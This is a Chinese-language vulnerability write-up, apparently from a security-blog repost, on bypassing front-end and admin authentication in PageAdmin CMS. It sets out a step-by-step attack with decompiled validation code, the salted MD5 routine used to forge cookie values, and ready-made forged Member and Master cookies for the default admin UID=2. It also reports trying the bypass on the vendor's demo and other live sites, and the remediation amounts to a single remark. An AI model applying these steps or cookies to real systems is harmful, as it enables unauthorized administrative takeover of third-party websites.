原来是有一个验证的,但是不小心就想到办法绕过去了 先大概说一下流程:前台: 初步身份伪造-->获取某项信息-->程序计算-->伪造最终cookie登录成功 后台(特别注意!): 先成功伪造身份登录前台-->打开后台页面(注意让他重新获取cookie)-->程序计算-->利用伪造的cookie打开index 后台的必须按上面的流程走,没有登录前台的话会导致后台校验失败,有太多多余的cookie的话会导致后台登录后报错! 前台 第一步,初步身份伪造 问题代码: text = Member_Valicate.aC7c4DsFNKxcZ9Ao2KU(Member_Valicate.KfvFKOso9G8UQWWkflb(HttpContext.Current).Cookies["Member"].Values, "UID"); 直接从Member里面获取UID的值。 http://demo.pageadmin.net/e/member/index.aspx?s=1&type=mem_idx cookie添加 Member=UID=2&Valicate=f75efb546591145c2ab152c1194ad10613df3 UID=2啥意思就不解释了,admin默认的uid是2 添加cookie之后访问上面的链接,即可: 测试另外一个网站:
本地测试: 但是在执行部分操作的时候是提示Valicate是无效的,如下图 再说下这个验证的代码: b =Member_Valicate.KfvFKOso9G8UQWWkflb(HttpContext.Current).Cookies["Member"].Values["Valicate"].ToString(); this.U8VWxh9WtC = ((DateTime)oleDbDataReader["lastdate"]).ToString("yyyyMMddHHmmss"); flag = !(md.Get_Md5(this.U8VWxh9WtC) != b); //把两个货比较,很悲剧啊 if (!flag) { this.tfYWhhmueR(); Member_Valicate.sVS2ySs4W4iMlcmVLhA(HttpContext.Current.Response, "<script type='text/javascript'>alert('invalid verification!');location.href='" + str + "';</script>"); arg_2A4_0 = 10; continue; } b是你cookie中的valicate,U8VWxh9WtC是从数据库中读取出来的lastdate(最后登录时间),如下图 好吧,看到这里是不是觉得无解了?无法绕过?最后登录时间怎么搞啊?哈哈 第二步,获取“某项”信息 简单,仔细看登录后的页面: 014-5-22 10:17:18 明白没?虽然我们做不了别的操作,但是关键信息已经获取到了! 第三步,该上程序了! 关键的校验md5生成代码: public string Get_Md5(string s) { MD5 mD = new MD5CryptoServiceProvider(); Encoding encoding = Encoding.GetEncoding("UTF-8"); string s2 = "pageadmin cms"; byte[] array = mD.ComputeHash(encoding.GetBytes(s)); byte[] array2 = mD.ComputeHash(encoding.GetBytes(s2)); StringBuilder stringBuilder = new StringBuilder(32); for (int i = 0; i < array.Length; i++) { stringBuilder.Append(((int)(array[i] + array2[i])).ToString("x").PadLeft(2, '0')); } return stringBuilder.ToString(); } 呵呵了吗? 用伪造好的东西(eee开头那串),上! 最终步骤! 呵呵了!做任何操作都没有限制! 后台在cookie中直接添加以下字段: tongji=1; referer=; Master=UID=2&Valicate=d7133f6117b1ccd18ae511e1971851867912516a; SiteId=1 功访问后台! 试试官网: 但做其它操作会还是会提示: 原理和上面是一样的时间也是一样的具体不多说了,简单放几行代码 this.TclWJqMrlI = ((DateTime)oleDbDataReader["lastdate"]).ToString("yyyyMMddHHmmss"); string text2 = HttpContext.Current.Request.Cookies["Master"].Values["Valicate"].ToString(); flag = !Master_Valicate.e51WJWsgAgH9BDJaION(md.Get_Md5(this.TclWJqMrlI), text2); 上神器! tongji=1; referer=; Master=UID=2&Valicate= eee0fe3b811371209c14611a157133188fee314a; SiteId=1 另外一个网站: 官网demo: 后台拿shell请看之前发布的漏洞 修复方案:这套程序太经典了,居然可以发现那么多有代表性的漏洞……身份验证应该严格一点啊,这也太松散了 |
-
上一篇: TinyShop Sql Injection 1(无视GPC) - 网站安全 - 自学
下一篇: eYou邮件系统邮件正文存储型XSS - 网站安全 - 自学
还没有人抢沙发呢~